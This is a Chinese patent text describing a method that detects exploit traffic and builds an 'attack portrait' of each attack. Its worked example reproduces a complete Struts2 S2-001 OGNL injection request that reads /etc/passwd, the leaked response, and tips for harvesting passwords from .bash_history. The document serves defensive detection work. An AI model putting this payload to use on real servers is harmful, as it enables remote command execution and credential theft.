掌桥专利:专业的专利平台
掌桥专利
首页

一种攻击检测方法、装置、电子设备及存储介质

文献发布时间:2023-06-19 09:32:16


一种攻击检测方法、装置、电子设备及存储介质

技术领域

本申请涉及网络安全技术领域,特别涉及一种攻击检测方法、攻击检测装置、电子设备及计算机可读存储介质。

背景技术

态势感知是指在大规模系统环境中,对能够引起系统态势发生变化的安全要素,进行获取、理解、显示以及预测未来发展趋势等操作的行为,其被应用于网络安全防护时,可以对是否遭受到网络攻击进行检测。相关技术在基于态势感知进行网络安全防护的过程中,在遭受到网络攻击时可以检测到遭受了攻击,但是无法进一步了解该网络攻击。

发明内容

有鉴于此,本申请的目的在于提供一种攻击检测方法、攻击检测装置、电子设备及计算机可读存储介质,可以清楚、全面地了解网络攻击。

为解决上述技术问题,本申请提供了一种攻击检测方法,包括:

对请求流量进行攻击流量检测;

若检测到攻击流量,则提取所述攻击流量对应的攻击执行内容;

对所述攻击执行内容进行攻击画像处理,得到所述攻击流量对应的攻击画像。

可选地,所述攻击执行内容包括第一攻击执行内容和第二攻击执行内容,所述提取所述攻击流量对应的攻击执行内容,包括:

判断所述攻击流量中是否存在目标预设攻击参数;所述目标预设攻击参数为任一预设攻击参数;

若存在所述目标预设攻击参数,则将所述目标预设攻击参数确定为所述第一攻击执行内容;

对所述攻击流量中所述目标预设攻击参数对应的目标攻击流量进行信息提取处理,得到所述第二攻击执行内容。

可选地,所述对所述攻击流量中所述目标预设攻击参数对应的目标攻击流量进行信息提取处理,得到所述第二攻击执行内容,包括:

判断所述目标攻击流量中是否存在目标预设攻击指令;所述目标预设攻击指令为任一预设攻击指令;

若存在所述目标预设攻击指令,则将所述目标预设攻击指令确定为所述第二攻击执行内容;

相应的,所述对所述攻击执行内容进行攻击画像处理,得到所述攻击流量对应的攻击画像,包括:

利用所述第一攻击执行内容确定攻击方式;

利用所述第二攻击执行内容确定攻击结果;

利用所述攻击方式和所述攻击结果得到所述攻击画像。

可选地,若不存在所述目标预设攻击指令,还包括:

将所述第二攻击执行内容确定为绕过尝试信息;

相应的,所述对所述攻击执行内容进行攻击画像处理,得到所述攻击流量对应的攻击画像,包括:

利用所述第一攻击执行内容确定攻击方式;

利用所述攻击方式和所述绕过尝试信息得到所述攻击画像。

可选地,若不存在所述目标预设攻击参数,还包括:

将所述攻击执行内容确定为漏洞探测信息;

相应的,所述对所述攻击执行内容进行攻击画像处理,得到所述攻击流量对应的攻击画像,包括:

利用所述漏洞探测信息得到所述攻击画像。

可选地,还包括:

获取对所述请求流量进行响应的响应流量;

对所述响应流量进行敏感信息检测;

若检测到敏感信息,则将所述敏感信息确定为响应内容。

可选地,所述利用所述攻击执行内容进行攻击画像处理,得到所述攻击流量对应的攻击画像,包括:

利用所述第一攻击执行内容确定攻击方式;

利用所述第二攻击执行内容和所述响应内容确定攻击结果;

确定所述攻击流量利用的目标漏洞,并利用所述目标漏洞、所述攻击方式和所述攻击结果得到所述攻击画像。

可选地,所述对请求流量进行攻击流量检测,包括:

对所述请求流量进行漏洞利用特征检测;

若检测到存在漏洞利用特征,则确定所述请求流量为所述攻击流量。

本申请还提供了一种攻击检测装置,包括:

攻击流量检测模块,用于对请求流量进行攻击流量检测;

提取模块,用于若检测到攻击流量,则提取所述攻击流量对应的攻击执行内容;

攻击画像生成模块,用于对所述攻击执行内容进行攻击画像处理,得到所述攻击流量对应的攻击画像。

本申请还提供了一种电子设备,包括存储器和处理器,其中:

所述存储器,用于保存计算机程序;

所述处理器,用于执行所述计算机程序,以实现上述的攻击检测方法。

本申请还提供了一种计算机可读存储介质,用于保存计算机程序,其中,所述计算机程序被处理器执行时实现上述的攻击检测方法。

本申请提供的攻击检测方法,对请求流量进行攻击流量检测;若检测到攻击流量,则提取攻击流量对应的攻击执行内容;对攻击执行内容进行攻击画像处理,得到攻击流量对应的攻击画像。

可见,该方法在对请求流量进行攻击流量检测后,若检测到了攻击流量,则提取攻击流量对应的攻击执行内容,而攻击执行内容用于被执行进而发起攻击,攻击执行内容具体可以包括被攻击的漏洞、攻击方式等。通过对攻击执行内容进行攻击画像处理得到攻击画像,可以对攻击流量对应的攻击的目的、实施方式和结果进行了解,即完整清楚地了解攻击流量在哪里进行了攻击、采用什么方式进行攻击、得到了什么结果等信息,清楚、全面地了解网络攻击。同时,由于攻击画像完整的展示了攻击的过程,因此根据攻击画像可以准确得知攻击是否被成功防御,有利用提高运维效率,进行快速响应,提高安全防护的更新效率,及时对新出现的攻击进行防护,进而提高安全防护的性能。

此外,本申请还提供了一种攻击检测装置、电子设备及计算机可读存储介质,同样具有上述有益效果。

附图说明

为了更清楚地说明本申请实施例或现有技术中的技术方案,下面将对实施例或现有技术描述中所需要使用的附图作简单地介绍,显而易见地,下面描述中的附图仅仅是本申请的实施例,对于本领域普通技术人员来讲,在不付出创造性劳动的前提下,还可以根据提供的附图获得其他的附图。

图1为本申请实施例提供的一种攻击检测方法流程图;

图2为本申请实施例提供的一种攻击流量识别过程流程图;

图3为本申请实施例提供的一种攻击执行内容获取过程流程图;

图4为本申请实施例提供的一种响应内容获取过程流程图;

图5为本申请实施例提供的一种具体的攻击检测过程流程图;

图6为本申请实施例提供的一种攻击检测装置的结构示意图;

图7为本申请实施例提供的一种攻击检测方法所适用的一种硬件组成框架示意图;

图8为本申请实施例提供的另一种攻击检测方法所适用的一种硬件组成框架示意图。

具体实施方式

为使本申请实施例的目的、技术方案和优点更加清楚,下面将结合本申请实施例中的附图,对本申请实施例中的技术方案进行清楚、完整地描述,显然,所描述的实施例仅仅是本申请一部分实施例,而不是全部的实施例。基于本申请中的实施例,本领域普通技术人员在没有做出创造性劳动前提下所获得的所有其他实施例,都属于本申请保护的范围。

请参考图1,图1为本申请实施例提供的一种攻击检测方法流程图。该方法包括:

S101:对请求流量进行攻击流量检测。

需要说明的是,本实施例并不对执行本实施例中部分或全部步骤的硬件组成框架进行限定,在一种实施方式中,硬件组成框架可以为一个单独的电子设备,例如可以为一个网关设备、路由器、计算机或服务器;在另一种实施方式中,硬件组成框架包括多个电子设备,各个电子设备通过网络连接,共同完成本实施例提供的攻击检测方法。其中,各个电子设备可以分别执行该攻击检测方法中的不同步骤。网络连接具体可以为无线网络连接或有线网络连接,本实施例对此不做限定。可以理解的是,采用一个单独的电子设备作为硬件组成框架,可以减少所需设备的数量,精简框架的结构,减少通信需求;采用多个电子设备共同构成硬件组成框架,可以提高计算能力,根据实际需要灵活设置框架的结构。

具体的,请求流量为用户发送的、用于请求服务或调用的流量,对于防御方来说,请求流量为接收到的流量;对于攻击方或用户来说,请求流量为发送出去的流量。请求流量的具体形式不做限定,例如可以为数据包形式,或者可以为其他形式,例如文本形式。请求流量的具体获取方式可以有一种或多种,在一种可行的实施方式中,可以从预设的端口处获取请求流量,即指定一个或多个端口为预设端口,将预设端口获取到的所有流量确定为请求流量;或者可以将预设端口获取到的、具有请求流量标识的流量确定为请求流量。预设端口可以为实体的物理端口,或者可以为不具有实体的虚拟端口。在另一种可行的实施方式中,可以从预设路径下获取请求流量,即将预设路径下的数据确定为请求流量并进行获取,数据在被获取过一次后可以进行删除,或者可以继续保留。可以理解的是,预设路径的具体内容不做限定,例如可以为本地硬盘路径,或者可以为可移动存储介质对应的路径,或者可以为远程服务器或计算机对应的存储路径。进一步的,请求流量可以为实时流量,即实时生成的流量;或者可以为非实时流量,即并不是当前生成的流量,而是在过去某个时刻生成的流量。本实施例并不限定请求流量的获取过程和对请求流量进行分析的具体时机,可以理解的是,可以在获取到请求流量后立即对其进行分析,即进行攻击流量检测;或者可以在获取到请求流量后并不立即对其进行攻击流量检测,在获取到检测指令,或者在满足预设条件时进行攻击流量检测。预设条件的具体内容不做限定,例如可以为时间条件,即满足一定周期或达到某一时刻后开始进行攻击流量检测;或者可以为流量体积条件,即当获取到且未进行攻击流量检测的请求流量的体积达到某一阈值时,进行攻击流量检测。

攻击流量检测用于判断请求流量中是否存在攻击流量,攻击流量即为想要利用漏洞进行网络攻击的流量,其具体内容不做限定。本实施例并不限定攻击流量检测的具体检测方式,在一种可行的实施方式中,可以获取已有的攻击流量样本,通过将攻击流量样本与请求流量进行匹配,若存在匹配成功的攻击流量样本,则确定请求流量中与攻击流量样本相对应的部分为攻击流量。在另一种可行的实施方式中,由于网络攻击的方式较多且容易多变,同时各种网络攻击为实现其攻击目的会具有若干相同的攻击特征,因此可以统计网络统计共有的攻击特征,并利用该攻击特征对请求流量进行检测,实现对攻击流量的检出。可以理解的是,由于攻击流量想要进行网络攻击,其必然与正常请求流量之间具有区别,因此在另一种可行的实施方式中,可以依据区别对攻击流量进行检测。具体的,可以统计正常流量对应的正常流量特征,并依据该特征对请求流量进行检测。正常流量特征可以包括所有正常流量均具有的特征,即所有正常流量均具有正常流量特征;或者可以包括所有正常流量都可以具有的特征,即若某一流量的所有特征均属于正常流量特征,则该流量即为正常流量。利用正常流量特征对请求流量进行检测,即可将请求流量中的攻击流量检出。

S102:若检测到攻击流量,则提取攻击流量对应的攻击执行内容。

若检测到攻击流量,说明发生了网络攻击,为了对该网络攻击的攻击路径、攻击方式等信息进一步了解,可以提取攻击流量对应的攻击执行内容。攻击执行内容具体为攻击流量的内容部分中可以描述网络攻击的信息,其具体内容、形式等不做限定,例如可以包括文件信息、函数信息、动作信息等。通过获取攻击执行内容,可以对攻击流量具体做了什么进行了解,以便在后续对其进行攻击画像处理,即对网络攻击的具体路径进行描述,得到攻击画像。本实施例并不限定提取攻击执行内容的具体方式,例如可以设置多个与网络攻击相关的参数、指令等,通过筛选和匹配的方式对攻击执行内容进行获取。对于一个攻击流量,可以利用各个预设的参数和指令一一对攻击流量进行查找,若在攻击流量中查找到参数或指令,则可以将其确定为攻击执行内容。攻击执行内容的数量不做限定,可以为一个或多个,具体可以根据实际需要进行设置。对于某些网络攻击来说,一个攻击执行内容即可完成对网络攻击的描述,例如一个攻击指令即可说明其利用了什么样的攻击方式进行了攻击,导致了什么结果。此时,攻击执行内容的数量可以为一个。对于另外一些网络攻击来说,可能需要多个攻击执行内容才能完成对网络攻击的描述,例如一个攻击参数说明其攻击方式,一个攻击指令说明其攻击结果。在这种情况下,攻击执行内容的数量可以为多个。

需要说明的是,本实施例并不限定未检测到攻击流量的情况下执行的操作,可以根据实际需要进行设置,即执行预设操作。预设操作的具体内容不做限定,例如可以重新获取请求流量并进行流量检测,即重新执行S101步骤;或者可以更新检测周期,进入新的检测周期,等待到达新的检测周期时执行S101步骤;或者可以不执行任何操作,即无操作。

S103:对攻击执行内容进行攻击画像处理,得到攻击流量对应的攻击画像。

在得到攻击执行内容后,对其进行攻击画像处理得到攻击画像。攻击画像用于表征网络攻击的具体攻击过程,其可以为文字形式、图像形式、音频形式等任意形式。攻击画像处理即为根据攻击执行内容,对其具体攻击过程进行说明的处理,攻击画像即为其说明结果。攻击执行内容为可以描述网络攻击的信息,将攻击执行内容进行整合和说明,即可完成攻击画像处理。具体的,若攻击执行内容仅有一个,则该攻击执行内容对应于一个明确的攻击过程,即由于攻击流量中仅存在这一个攻击执行内容,则其仅能采用固定的攻击方式,得到固定的攻击结果,因此攻击画像处理即为对该攻击执行内容进行描述,得到攻击画像,例如攻击画像可以为:采用A方式对B漏洞进行了攻击,得到C结果。在另一种实施方式中,若攻击执行内容有多个,则在攻击画像处理时,可以对各个攻击执行内容进行组合,根据所有攻击执行内容之间的关系得到其攻击结果,进而得到攻击画像。本实施例并不限定对攻击画像的处理方式,例如可以输出攻击画像,或者可以将攻击画像在预设路径下存储。通过攻击画像处理得到攻击画像的方法,可以对网络攻击的整个攻击过程进行说明,有助于对网络攻击进行了解,而并不是仅仅得知出现了网络攻击。同时,在对各次网络攻击了解后,可以在发生的海量的网络攻击中确定哪些网络攻击被成功防御,哪些网络攻击没有被防御,进而提高运维效率和安全防护效率。

应用本申请实施例提供的攻击检测方法,在对请求流量进行攻击流量检测后,若检测到了攻击流量,则提取攻击流量对应的攻击执行内容,而攻击执行内容用于被执行进而发起攻击,攻击执行内容具体可以包括被攻击的漏洞、攻击方式等。通过对攻击执行内容进行攻击画像处理得到攻击画像,可以对攻击流量对应的攻击的目的、实施方式和结果进行了解,即完整清楚地了解攻击流量在哪里进行了攻击、采用什么方式进行攻击、得到了什么结果等信息,清楚、全面地了解网络攻击。同时,由于攻击画像完整的展示了攻击的过程,因此根据攻击画像可以准确得知攻击是否被成功防御,有利用提高运维效率,进行快速响应,提高安全防护的更新效率,及时对新出现的攻击进行防护,进而提高安全防护的性能。

基于上述实施例,下面对上述实施例中各个步骤的执行过程进行具体的阐述。其中,为了准确高效地检出攻击流量,可以利用漏洞利用特征对请求流量进行检测。请参考图2,图2为本申请实施例提供的一种攻击流量识别过程流程图,S101步骤可以包括:

S201:对请求流量进行漏洞利用特征检测。

漏洞利用特征即为攻击流量中可以触发漏洞的部分,其具体内容不做限定。每个漏洞可以对应于一项或多项漏洞利用特征,即一个漏洞可以被一种或多种方式触发。对漏洞进行攻击的攻击请求无法通过使用正常调用功能的方式对漏洞进行触发,需要采用特殊的方式触发漏洞,这些特殊方式与正常方式存在区别,这些区别即可作为漏洞利用特征。漏洞利用特征可以根据需要进行设置,进行检测时在请求流量中筛选,通过筛选的方式判断请求流量中是否包括漏洞利用特征。例如,对于Struts2(一个基于MVC设计模式的Web应用框架;MVC,Model View Controller,一种软件架构模式)远程命令执行漏洞(即struts2-001漏洞)来说,需要利用.do或.action的方式触发,需要Java中的命令执行函数执行命令,且正常流量中不会包括.do或.action,因此可以将.do和.action确定为漏洞利用特征,或者将.do、.action以及具有Java命令执行函数这一特征共同确定为漏洞利用特征。

S202:若检测到存在漏洞利用特征,则确定请求流量为攻击流量。

由于漏洞利用特征不可能出现在正常流量中,且其出现在请求流量中必然会对漏洞进行触发,因此若检测到请求流量中存在漏洞利用特征,则可以确定请求流量为攻击流量。

应用本申请实施例提供的攻击检测方法,通过在请求流量中对漏洞利用特征进行检测,可以准确地检测出攻击流量,提高了攻击流量的检测效率,进而提高了生成攻击画像的效率。

基于上述实施例,本实施例将说明一种具体的攻击执行内容获取方式。请参考图3,图3为本申请实施例提供的一种攻击执行内容获取过程流程图,S102步骤可以包括:

S301:判断攻击流量中是否存在目标预设攻击参数。

在本实施例中,攻击执行内容可以分为第一攻击执行内容和第二攻击执行内容,第一攻击执行内容用于确定网络攻击的攻击方式,第二攻击执行内容用于确定网络攻击的攻击结果。而在攻击流量中,攻击参数可以用于说明攻击流量的攻击方式。对于同一漏洞来说,攻击方式可能有多种,即同一漏洞可以采用不同的方式进行攻击,不同的攻击方式会导致不同的攻击结果。只有先确定攻击方式,才能更快地确定攻击结果。因此,为了提高攻击执行内容的获取效率,可以进行分级获取,先利用预设攻击参数对攻击流量进行查找,即先进行参数匹配处理,判断攻击流量中是否存在目标预设攻击参数,目标攻击参数为任一预设攻击参数,预设攻击参数的具体内容和数量不做限定。

S302:若存在目标预设攻击参数,则将目标预设攻击参数确定为第一攻击执行内容。

若存在目标预设攻击参数,即在攻击流量中存在某一个或多个预设攻击参数,则说明检测到了网络攻击采用的攻击方式,因此将目标预设攻击参数确定为第一攻击执行内容,以便后续进行攻击画像处理。需要说明的是,本实施例并不限定目标预设攻击参数的具体数量,例如可以为一个,即攻击流量对漏洞进行了一种方式的攻击。在另外一种可行的实施方式中,目标预设攻击参数可以为多个,这种情况说明攻击流量同时对漏洞进行了多种方式的攻击。

S303:对攻击流量中目标预设攻击参数对应的目标攻击流量进行信息提取处理,得到第二攻击执行内容。

第二攻击执行内容用于确定网络攻击对应的攻击结果。在确定存在目标预设攻击参数后,可以在攻击流量中识别该目标预设攻击参数对应的范围,即目标攻击流量,并在目标攻击流量中继续获取攻击执行内容。在目标攻击流量中提取第二攻击执行内容可以缩小信息提取的范围,减少第二攻击执行内容的提取时间,提高获取效率。同时,通过在目标攻击流量中提取第二攻击执行内容,可以在存在多个目标预设攻击参数时准确地获取各个第一攻击执行内容对应的第二攻击执行内容,保证后续攻击画像处理得到的攻击画像的准确性。

应用本申请实施例提供的攻击检测方法,采用分级的攻击执行内容获取方式,由于攻击方式对攻击结果具有影响,因此可以先确定网络攻击的攻击方式,并获取与攻击方式相关的第一攻击执行内容。然后缩小信息提取的范围,在目标攻击流量中进行信息提取处理得到第二攻击执行内容,完成攻击执行内容的获取,提高了攻击执行内容的获取效率。

基于上述实施例,本实施例将说明一种具体的第二攻击执行内容的获取过程。具体的,S303步骤可以包括:

步骤11:判断目标攻击流量中是否存在目标预设攻击指令。

攻击指令可以准确地说明网络攻击的攻击结果,在网络攻击的攻击方式确定后,可以通过在目标攻击流量中设置对应的攻击指令以完成网络攻击。在采用相同的攻击方式时,采用不同的攻击指令同样会导致不同的攻击结果。例如在读取敏感信息时,可以利用攻击指令指定读取的内容,进而导致读取到不同的敏感信息。因此在获取第二攻击执行内容时,可以在目标攻击流量中筛选目标预设攻击指令,由于目标预设攻击指令为任一预设攻击指令,因此该判断步骤即为判断目标攻击流量中是否存在任一预设攻击指令。与预设攻击参数类似的,预设攻击指令的具体内容和数量不做限定。

步骤12:若存在目标预设攻击指令,则将目标预设攻击指令确定为第二攻击执行内容。

在目标攻击流量中检测到目标预设攻击指令,即目标攻击流量中存在目标预设攻击指令时,则将其确定为第二攻击执行内容,以便后续确定网络攻击的攻击结果。

相应的,在获取到第一攻击执行内容和第二攻击执行内容之后,S103步骤可以包括:

步骤13:利用第一攻击执行内容确定攻击方式。

步骤14:利用第二攻击执行内容确定攻击结果。

步骤15:利用攻击方式和攻击结果得到攻击画像。

为了便于说明,将步骤13至步骤15统一进行说明。在进行攻击画像处理时,分别利用第一攻击执行内容确定攻击方式,利用第二攻击执行内容确定攻击结果。需要说明的是,本实施例并不限定攻击方式和攻击结果的确定顺序,即并不限定步骤13和步骤14的执行顺序,例如可以并行执行,即同时执行步骤13和步骤14,或者可以串行执行,即先执行步骤13,再执行步骤14,或者先执行步骤14,再执行步骤13。在得到攻击方式和攻击结果后,可以利用其得到攻击画像,本实施例并不限定攻击画像的具体生成方式,例如可以按照预设格式对攻击方式和攻击结果进行组合,得到攻击画像。

在一种具体的实施方式中,攻击流量为漏洞利用攻击对应的流量。在这种情况下,进行网络攻击画像时还可以确定攻击流量利用的目标漏洞,目标漏洞即为攻击流量用来发起网络攻击的漏洞,其具体确定方式本实施例不做限定,例如可以采用攻击流量检测的检测方式确定目标漏洞。具体的,在利用漏洞利用特征检测的方式进行攻击流量检测时,由于不同的漏洞对应的漏洞利用特征不同,因此在检测到攻击流量中的漏洞利用特征后,可以利用其确定该攻击流量利用的目标漏洞。例如可以对漏洞利用特征进行记录,在执行步骤15时,利用漏洞利用特征与漏洞之间的对应关系确定目标漏洞。需要说明的是,本实施例中的目标漏洞为表明漏洞身份的信息,例如可以为漏洞名称、编号、详细介绍等。利用目标漏洞、攻击方式和攻击结果即可生成攻击画像,从网络攻击的目标(即目标漏洞)、网络攻击的攻击方式和攻击结果三个方面对网络攻击进行说明。

应用本申请实施例提供的攻击检测方法,通过在目标攻击流量中检测攻击指令的方式可以准确地确定网络攻击的攻击结果。

基于上述实施例,在一种可能的情况中,攻击流量中不存在通过参数匹配处理的目标预设攻击参数。S102步骤还可以包括:

步骤21:将攻击执行内容确定为漏洞探测信息。

若攻击流量中不存在任一预设攻击参数,即说明该数据流量虽然为攻击流量,但是仅对漏洞进行了触发,没有进行网络攻击。在这种情况下,可以确定该攻击流量为用于探测漏送是否存在的流量,其目的在于判断是否存在漏洞,攻击方式即为探测方式,攻击结果即为对该漏洞进行了探测,因此可以将攻击执行内容确定为漏洞探测信息。漏洞探测信息为预先设置好的信息,例如当漏洞探测方式仅有一种时,则可以根据该漏洞探测方式生成漏洞探测信息;或者当漏洞探测方式有多种时,可以对攻击流量采用具体探测方式进行检测,并根据该具体探测方式生成对应的漏洞探测信息。可以理解的是,不同的漏洞可以分别对应于不同的漏洞探测信息。

相应的,S103步骤可以包括:

步骤22:利用漏洞探测信息得到攻击画像。

在确定攻击流量用于进行漏洞探测后,即可漏洞探测信息得到攻击画像,例如可以为“利用A探测方式对目标漏洞进行了探测”。

应用本申请实施例提供的攻击检测方法,可以对用于进行漏洞探测的攻击流量进行识别,由于漏洞探测的攻击流量同样会触发漏洞,因此可能被识别为网络攻击。利用攻击画像可以体现其与真正的网络攻击的不同,对漏洞探测的攻击流量进行标注,将其与攻击成功的网络攻击进行区分,以便提高运维效率。

基于上述实施例,在一种可能的情况中,目标攻击流量中可能不存在目标预设攻击指令。S303步骤还可以包括:

步骤31:将第二攻击执行内容确定为绕过尝试信息。

预设攻击指令中包括了已知的攻击指令,若攻击流量中不存在任一预设攻击指令,说明攻击者想采用已知的攻击指令以外的攻击指令进行网络攻击,对于防御方来说,该攻击流量想要通过不采用已知的攻击指令而绕过防御进而进行攻击,可以发生了绕过攻击。因此可以将第二攻击执行内容确定为绕过尝试信息,即将攻击结果确定为发生了绕过攻击。

相应的,S103步骤可以包括:

步骤32:利用第一攻击执行内容确定攻击方式。

步骤33:利用攻击方式和绕过尝试信息得到攻击画像。

为了便于说明,将步骤32和步骤33统一进行说明。在本实施例中,攻击流量中存在第一攻击执行内容,因此可以利用第一攻击执行内容确定攻击方式。不存在预设攻击指令,说明攻击流量采用了未知的方式发起了绕过攻击,因此第二攻击执行内容为绕过尝试信息,故可以利用攻击方式和绕过尝试信息得到攻击画像。例如攻击画像可以为“采用了A方式对目标漏洞进行了绕过攻击”。

应用本申请实施例提供的攻击检测方法,可以对进行绕过攻击的攻击流量进行识别,由于绕过攻击为未知的攻击,因此需要重点关注,利用攻击画像可以直观地将其与其他攻击流量进行区分,提高运维效率。

基于上述实施例,在一种可能的情况中,攻击流量进行攻击的目的在于获取敏感信息,以便对敏感信息进行泄漏或利用敏感信息进行进一步攻击。在这种情况下,还可以对是否泄露了敏感信息进行检测,以便对攻击画像进行进一步充实。请参考图4,图4为本申请实施例提供的一种响应内容获取过程流程图,包括:

S401:获取对请求流量进行响应的响应流量。

需要说明的是,本实施例并不限定S401至S403步骤的执行时机,具体的,可以在对请求流量进行攻击流量检测时执行,或者可以在确定请求流量为攻击流量时执行,或者可以在获取到攻击执行内容后执行,或者可以在获取到攻击执行内容且确定请求流量为发起网络攻击的流量(即不用于进行漏洞探测)后执行。执行的条件越复杂,执行的频率越低,所需的计算资源也越少。因此优选的,可以在获取到攻击执行内容且确定为发起网络攻击的流量时执行S401至S403步骤。

响应流量用于对请求流量进行响应,其具体内容不做限定,其中包括对请求流量进行执行后得到的结果。因此若请求流量用于读取敏感信息时,其对应的响应流量中则存在被泄露的敏感信息。本实施例并不限定响应流量的获取方式,例如可以根据请求流量中的信息查找对应的响应流量。

可以理解的是,若请求流量(此时也为攻击流量)被防火墙或其他安全防护系统成功防御,则不会产生响应流量。本实施例并不对这种情况进行讨论,仅对具有响应流量的情况进行说明。

S402:对响应流量进行敏感信息检测。

在获取响应流量后,判断其中是否具有敏感信息。敏感信息可以包括用户名、密码、用户信息等,其具体内容可以根据实际需要进行设置。敏感信息检测的具体检测方式不做限定,例如可以采用关键字匹配、格式检测等方式对相应流量进行检测。

S403:若检测到敏感信息,则将敏感信息确定为响应内容。

若检测到了敏感信息,则说明敏感信息已经被泄漏,因此可以将该敏感信息作为响应内容以便在后续生成攻击画像时对攻击画像进行充实。

相应的,S103步骤可以包括:

步骤41:利用第一攻击执行内容确定攻击方式。

步骤42:利用第二攻击执行内容和响应内容确定攻击结果。

步骤43:确定攻击流量利用的目标漏洞,并利用目标漏洞、攻击方式和攻击结果得到攻击画像。

为了便于说明,将步骤41至步骤43统一进行说明。确定攻击方式的具体内容在此不再赘述,在生成攻击结果时,可以利用响应内容对攻击结果进行充实。由于发生了敏感信息的泄漏,因此第二攻击执行内容对应的攻击结果为对某些敏感信息进行了读取。在利用第二攻击执行内容和响应内容共同确定攻击结果时,即可对攻击结果进行进一步充实,即攻击结果可以为对敏感信息进行了读取,读取到了B敏感信息。

应用本申请实施例提供的攻击检测方法,可以利用响应流量提取响应内容,并利用响应内容对攻击画像进行充实,使攻击画像可以更加清楚、全面地对网络攻击进行说明。

基于上述实施例,本实施例将对攻击检测过程进行整体的说明。请参考图5,图5为本申请实施例提供的一种具体的攻击检测过程流程图。首先进行全流量检测,即对请求流量进行攻击流量检测,若检出没有攻击行为的请求侧流量,即确定该请求流量为正常行为的流量。若检出带有攻击行为的请求侧流量,例如检测出其中具有漏洞利用特征,则确定其为攻击流量,进行下一步检测,即判断其是否具有攻击参数,攻击参数具体可以为命令执行的参数,或者可以为信息泄露的参数。若没有任何参数,即攻击流量中不存在目标预设攻击参数,则说明该攻击流量为用于进行漏洞探测的流量。若存在目标预设攻击参数,则无论具体为哪些参数,均取出参数并进行攻击指令的匹配。即取出目标攻击流量,并判断其中是否具有预设攻击指令,若不存在预设攻击指令,则说明其没有采用已知的攻击指令,正在进行漏洞对抗行为,即想要绕过安全防御系统进行攻击,因此可以确定该攻击流量为进行绕过攻击的攻击流量。若匹配到攻击指令,则说明其为进行已知的网络攻击的流量。在此情况下,可以对数据流量对应的参数和攻击指令进行攻击画像处理得到攻击画像。为了进一步充实攻击画像,还可以获取对应的响应侧流量,即响应流量,并对响应侧流量进行敏感信息的检测,无论是否获取到敏感信息,均认为漏洞利用成功,即攻击流量成功利用漏洞进行了攻击,因为并不是所有的网络攻击均用于获取敏感信息。在获取敏感信息后,可以利用其与数据流量对应的参数和攻击指令进行攻击画像处理,得到更加充实的攻击画像。

具体的,攻击者在进行漏洞利用时,一般会先进行漏洞探测,即先判断是不是可能存在漏洞的点,具体方式不做限定,例如可以执行一个测试命令(比如whoami等命令)。在确定存在漏洞后,攻击者就可以以发送攻击流量的方式,通过该漏洞执行攻击操作,攻击操作的具体形式不做限定,例如可以为读取文件,注册系统账号,开启端口,写入/反弹shell等。攻击操作都是为了达成获取信息或者控制服务器等目的,即攻击操作的执行结果为获取信息或控制设备。

以struts2-001漏洞为例,攻击者在访问由目标服务器运行的目标网站后,可以通过访问/api/checkByJd2.action接口来发现存在struts2-001漏洞。然后攻击者可以向目标服务器发送数据流量进行攻击,例如为:

POST/login.action HTTP/1.1

Host:10.251.0.189:8080

User-Agent:Mozilla/5.0(Windows NT 6.1;Win64;x64;rv:79.0)

Gecko/20100101Firefox/79.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language:

zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding:gzip,deflate

Content-Type:application/x-www-form-urlencoded

Content-Length:591

Origin:http://10.251.0.189:8080

Connection:keep-alive

Referer:http://10.251.0.189:8080/login.action

Cookie:JSESSIONID=96C72BB914DE347AFABE5ADD77931B3F

Upgrade-Insecure-Requests:1

username=%{#a=(new java.lang.ProcessBuilder(new

java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.ge

tInputStream(),#c=new java.io.InputStreamReader(#b),#d=new

java.io.BufferedReader(#c),#e=new

char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.

HttpServletResponse"),#f.getWriter().println(new

java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&password=a

由于struts2-001漏洞的触发点在于.do或.action的,且需要Java中的命令执行函数执行命令,因此可以确定其为攻击流量。java.lang.ProcessBuilder类的语法为:ProcessBuilder("myCommand","myArg1","myArg2"),其可以用于创建操作系统进程,提供了一种启动和管理进程的方式,因此其可能被用于进行网络攻击,因此可以确定为预设攻击参数。上述数据流量中存在java.lang.ProcessBuilder字段,因此可以将其确定为第一攻击执行内容。cat/etc/passwd文件的作用为存储目标服务器下所有用户的用户名,通过获取用户名,可以根据用户名读取/home/用户名/.bash_history文件,进而从history文件中获取可能泄露的密码。因此cat/etc/passwd文件中记录的信息为敏感信息,可以将"cat"和/或"/etc/passwd"字段设置为预设攻击指令。通过在java.lang.ProcessBuilder字段对应的目标攻击流量中查找"cat","/etc/passwd"字段,可以确定攻击流量用于读取cat/etc/passwd文件。因此上述攻击流量对应的攻击执行内容即为java.lang.ProcessBuilder和/etc/passwd,利用攻击执行内容进行攻击画像处理,可以得到的攻击画像为:利用Struts2远程命令执行漏洞(struts2-001),采用生成操作系统进程的方式,对/etc/passwd文件中的内容进行读取。

进一步,为了充实攻击画像,还可以对响应流量进行敏感信息检测。具体的,与上述请求流量相对应的响应流量可以为:

HTTP/1.1 200

Content-Type:text/html;charset=UTF-8

Transfer-Encoding:chunked

Date:Wed,05Aug 2020 03:47:48GMT

<!DOCTYPE html PUBLIC"-//W3C//DTD HTML 4.01Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

S2-001

S2-001 Demo

link:

href="https://struts.apache.org/docs/s2-001.html">https://struts.apache.org/docs/s2-001.html

action="/login.action"method="post">

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

在本实施例中,由于读取/etc/passwd文件之后反馈的敏感信息均采用用户名:密码位:UID(用户身份证明,user identification):GID(群组身份证明,groupidentification):描述信息:宿主目录:命令解释器的格式进行反馈,因此可以采用格式检测的方式对敏感信息进行检测,得到上述响应流量中的响应内容,利用该响应内容与java.lang.ProcessBuilder和/etc/passwd进行攻击画像处理,得到的路径画像为:利用Struts2远程命令执行漏洞(struts2-001),采用生成操作系统进程的方式,对/etc/passwd文件中的内容进行读取,读取到的内容为:

root:x:0:0:root:/root:/bin/bash

